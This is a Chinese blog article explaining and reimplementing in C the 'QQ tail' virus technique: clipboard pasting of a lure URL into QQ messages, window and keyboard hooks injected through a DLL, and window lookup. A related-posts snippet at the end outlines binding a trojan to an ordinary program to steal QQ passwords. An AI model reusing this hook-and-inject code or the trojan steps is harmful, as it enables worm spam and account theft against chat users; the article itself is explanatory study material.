QQ尾巴病毒核心技术的实现

2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。 

  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。 

粘贴尾巴 

  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下: 

TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net"; 

// 函数功能:向文本框中粘贴尾巴 

void PasteText(HWND hRich) 

{ 

HGLOBAL hMem; 

LPTSTR pStr; 

// 分配内存空间 

hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); 

pStr = GlobalLock(hMem); 

lstrcpy(pStr, g_str); 

GlobalUnlock(hMem); 

OpenClipboard(NULL); 

EmptyClipboard(); 

// 设置剪贴板文本 

SetClipboardData(CF_TEXT, hMem); 

CloseClipboard(); 

// 释放内存空间 

GlobalFree(hMem); 

// 粘贴文本 

SendMessage(hRich, WM_PASTE, 0, 0); 

} 

钩子 

  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子: 

void CQQTailDlg::OnTimer(UINT nIDEvent) 

{ 

PasteText(hRich); 

} 

  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了…… 

  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。 

  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。 

  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。 

  问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明): 

// 钩子过程,监视“发送”的命令消息 

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) 

{ 

CWPSTRUCT *p = (CWPSTRUCT *)lParam; 

// 捕获“发送”按钮 

if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1) 

  PasteText(g_hRich); 

return CallNextHookEx(g_hProc, nCode, wParam, lParam); 

} 

  在此我对这个回调过程说明几点: 

  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下: 

typedef struct { 

LPARAM lParam; 

WPARAM wParam; 

UINT message; 

HWND hwnd; 

} CWPSTRUCT, *PCWPSTRUCT; 

  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。 

  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。 

  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。 

  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明: 

#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义 

// QQ发送消息对话框回调过程·李马伪造版 

LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam) 

{ 

switch (Msg) 

{ 

case WM_CLOSE: 

  EndDialog(hDlg, 0); 

  break; 

case WM_COMMAND: 

  { 

   switch (LOWORD(wParam)) 

   { 

   case IDC_BTN_SENDMSG: 

    // 发送消息... 

    break; 

   // 其它的命令按钮处理部分... 

  } 

} 

break; 

// 其它的case部分... 

} 

return 0; 

} 

  消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图: 

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。 

  好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子: 

// 键盘钩子过程,监视“发送”的热键消息 

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 

{ 

// 捕获热键消息 

if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0) 

  PasteText(g_hRich); 

return CallNextHookEx(g_hKey, nCode, wParam, lParam); 

} 

  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。 

挂接钩子和查找窗口 

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接? 

  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接: 

// 挂接钩子 

BOOL WINAPI SetHook(HWND hQQ) 

{ 

BOOL bRet = FALSE; 

if (hQQ != NULL) 

{ 

  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL); 

  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦 

  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD); 

  if (g_hRich == NULL) 

   return FALSE; 

  // 挂接钩子 

  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); 

  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); 

  bRet = (g_hProc != NULL) && (g_hKey != NULL); 

} 

else 

{ 

  // 卸载钩子 

  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); 

  g_hProc = NULL; 

  g_hKey = NULL; 

  g_hRich = NULL; 

} 

return bRet; 

} 

  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。 

  DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码: 

// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦 

HWND hSend; 

g_hQQ = NULL; 

SetHook(NULL); 

do 

{ 

g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); 

hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)"); 

} while(g_hQQ != NULL && hSend == NULL); 

if (g_hQQ != NULL) 

SetHook(g_hQQ); 

  这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。 

DLL的共享数据段 

  如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问: 

// 定义共享数据段 

#pragma data_seg("shared") 

HHOOK g_hProc = NULL; // 窗口过程钩子句柄 

HHOOK g_hKey = NULL; // 键盘钩子句柄 

HWND g_hRich = NULL; // 文本框句柄 

#pragma data_seg() 

#pragma comment(linker, "/section:shared,rws") 

  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么? 

  是的,添加尾巴失败! 

  好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系: 

  这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。 

  在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。 

最后一些要说的 

  1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。 

  2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。 

  3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。

(0)

相关推荐

  • QQ尾巴病毒核心技术的实现

    2003这一年里,QQ尾巴病毒可以算是风光了一阵子.它利用IE的邮件头漏洞在QQ上疯狂传播.中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者. 下面我将要讨论的,就是QQ尾巴病毒使用的这一技术.由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致. 粘贴尾巴 首先的一个最简单的问题是如何添加文本.这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit"

  • QQ尾巴 InfoMs.Ime 解决方案

    档案编号:CISRT2007002 病毒名称:Trojan.Win32.Delf.rf(Kaspersky) 病毒别名:Trojan.QQMSG.Liumazi(瑞星)  Win32.Troj.QQMsgInfo.28688(毒霸) 病毒大小:27,900 字节 加壳方式:UPX 样本MD5:b95d1102bcddfa26fb9a3f40129d2353 样本SHA1:0e52cbcc5fedf47408bad58aa1f0aaf9e00eeae2 发现时间:2007.1 更新时间:2007.

  • 紧急大追捕!网络骗子通缉令

    楔子 世界上有一种人最可恨,那就是骗子. 让我们擦亮双眼,让骗子原形毕露! 通缉犯一:QQ密码抢劫犯 "你好啊,清煮肥羊.今天我在网上下了本电子书,书名叫<缘>,写得不错,而且书的作者名很巧,跟你的QQ网名一样,也叫清煮肥羊.不会就是你写的吧?挺有才的嘛,下载看看吧!点击下面的这个地址可以下载这本书:http://www.XXX.cn.gg/." 我好奇地进入那个网站,想看看所谓的电子书究竟是怎么回事,原来是一个木马-- "恭喜您!我们是腾讯公司,您是第88888

  • "熊猫烧香"犯罪嫌疑人李俊编写的病毒专杀工具(非病毒)下载

    今年1月中旬,湖北省仙桃市公安局网监部门根据公安部公共信息网络安全监察局及省公安厅的统一部署,对"熊猫烧香"病毒的制作者开展调查.经查,熊猫烧香病毒的制作者为湖北省武汉市李俊,据李俊交代,其于2006年10月16日编写了"熊猫烧香"病毒并在网上广泛传播,并且还以自己出售和由他人代卖的方式,在网络上将该病毒销售给120余人,非法获利10万余元.经病毒购买者进一步传播,导致该病毒的各种变种在网上大面积传播,对互联网用户计算机安全造成了严重破坏.李俊还于2003年编写了&

  • 关于rundl132.exe vidll.dll LOGO1.exe 的清除方法

    最近有朋友问我关于这几个病毒的清理方法.口头上说的不是很详细,现在贴一个详细的分析和对策吧. 1.打开系统的"显示隐藏文件"并下载相应的杀毒软件和 维金EXE修复工具 (重要) 2.查看你的系统进程 结束可疑的病毒木马程序(用户名为你的当前用户) 如:rundl132.exe svchost32.exe logo1_.exe 可能还有SERVICES.EXE SMSS.EXE 等伪装的系统木马.可以用tskill 来结束这些进程. 3.找到木马所在的路径并删除,然后新建一个同名文件,并

  • 看PDF、Flash中毒解决方法

    我们电脑以及网上的文件中,哪些类型文件是安全的?除了很早就被病毒盯上了的可执行文件.邮件.即时通讯工具之外,一些平时经常使用的文件类型如PDF.Flash等也难逃病毒的魔掌.大家平时可得加以注意,并希望本文能够对大家有所帮助.  现象一:看Flash也要防中毒  Flash是网络上一种非常通用的动画格式,大家经常通过Flash来欣赏一些搞笑经典故事.2002年世界上首个针对Flash文件的病毒WF/LFM.926虽然被Macromedia公司紧急发布的补丁工具所拒绝,但2004年11月26日网上

  • 比较精辟的精通防火墙问与答

    凡是网络存在之处,都不可避免地会受到诸多不安全因素的威胁,在系统中安装防火墙无疑是最明智.有效的选择.我们既然寄希望于防火墙成为个人计算机与网络之间的一道安全屏障,就一定要对防火墙的方方面面有通透的了解,才能事半功倍,达到预期效果.  问:Windows 2003 自带的防火墙应该如何打开和关闭? 答:可以直接在网卡属性里面设置,也可以在服务里面自己开启服务. ******************************************************* 问:除了Norton 8

  • 金山反病毒20041227_日报

    北京信息安全测评中心.金山毒霸联合发布2004年12月27日热门病毒. 今日提醒用户特别注意以下病毒:"假冒QQ"(Win32.Troj.StartPage.sn)和"180Solutions"(Win32.Troj.180Solutions). "假冒QQ"木马病毒,该病毒会将自己和三个网页的链接拷贝到系统目录和各个驱动器的根目录下,修改浏览器的有关页面,还将网页的链接添加到开始菜单和浏览器的收藏夹中. "180Solutions&q

  • 易语言制作QQ聊天添加自定义小尾巴工具

    DLL命令表 .版本 2 .DLL命令 SetWindowsHookEx, 整数型, , "SetWindowsHookExA", , 建立钩子 .参数 idHook, 整数型 .参数 lpfn, 子程序指针 .参数 hmod, 整数型 .参数 dwThreadId, 整数型 .DLL命令 CopyMemory, , , "RtlMoveMemory" .参数 Destination, 按键信息, 传址 .参数 Source, 整数型 .参数 Length, 整数型

  • 如何防范别人盗你的qq号(盗别人的qq密码)

    请看-- 1.前提工作,你要去下载木马"冰河",和"NetxRAY",还有 "ExeBind".冰河是一个远程监控软件,是BO一类的东西,只要对方运行了服务端程序,他的系统就随时向你敞开!现在比较流行的是灰鸽子远程控制 ,NetxRAY 是可以用来看对方的IP的:Exebind ,可以把两个exe文件合并成一个exe文件,运行时,分别执行.使用方法?我不教,自己研究.然后,使用exebind把冰河的服务端程序和一个正常的程序合并到一起.例如:取名

随机推荐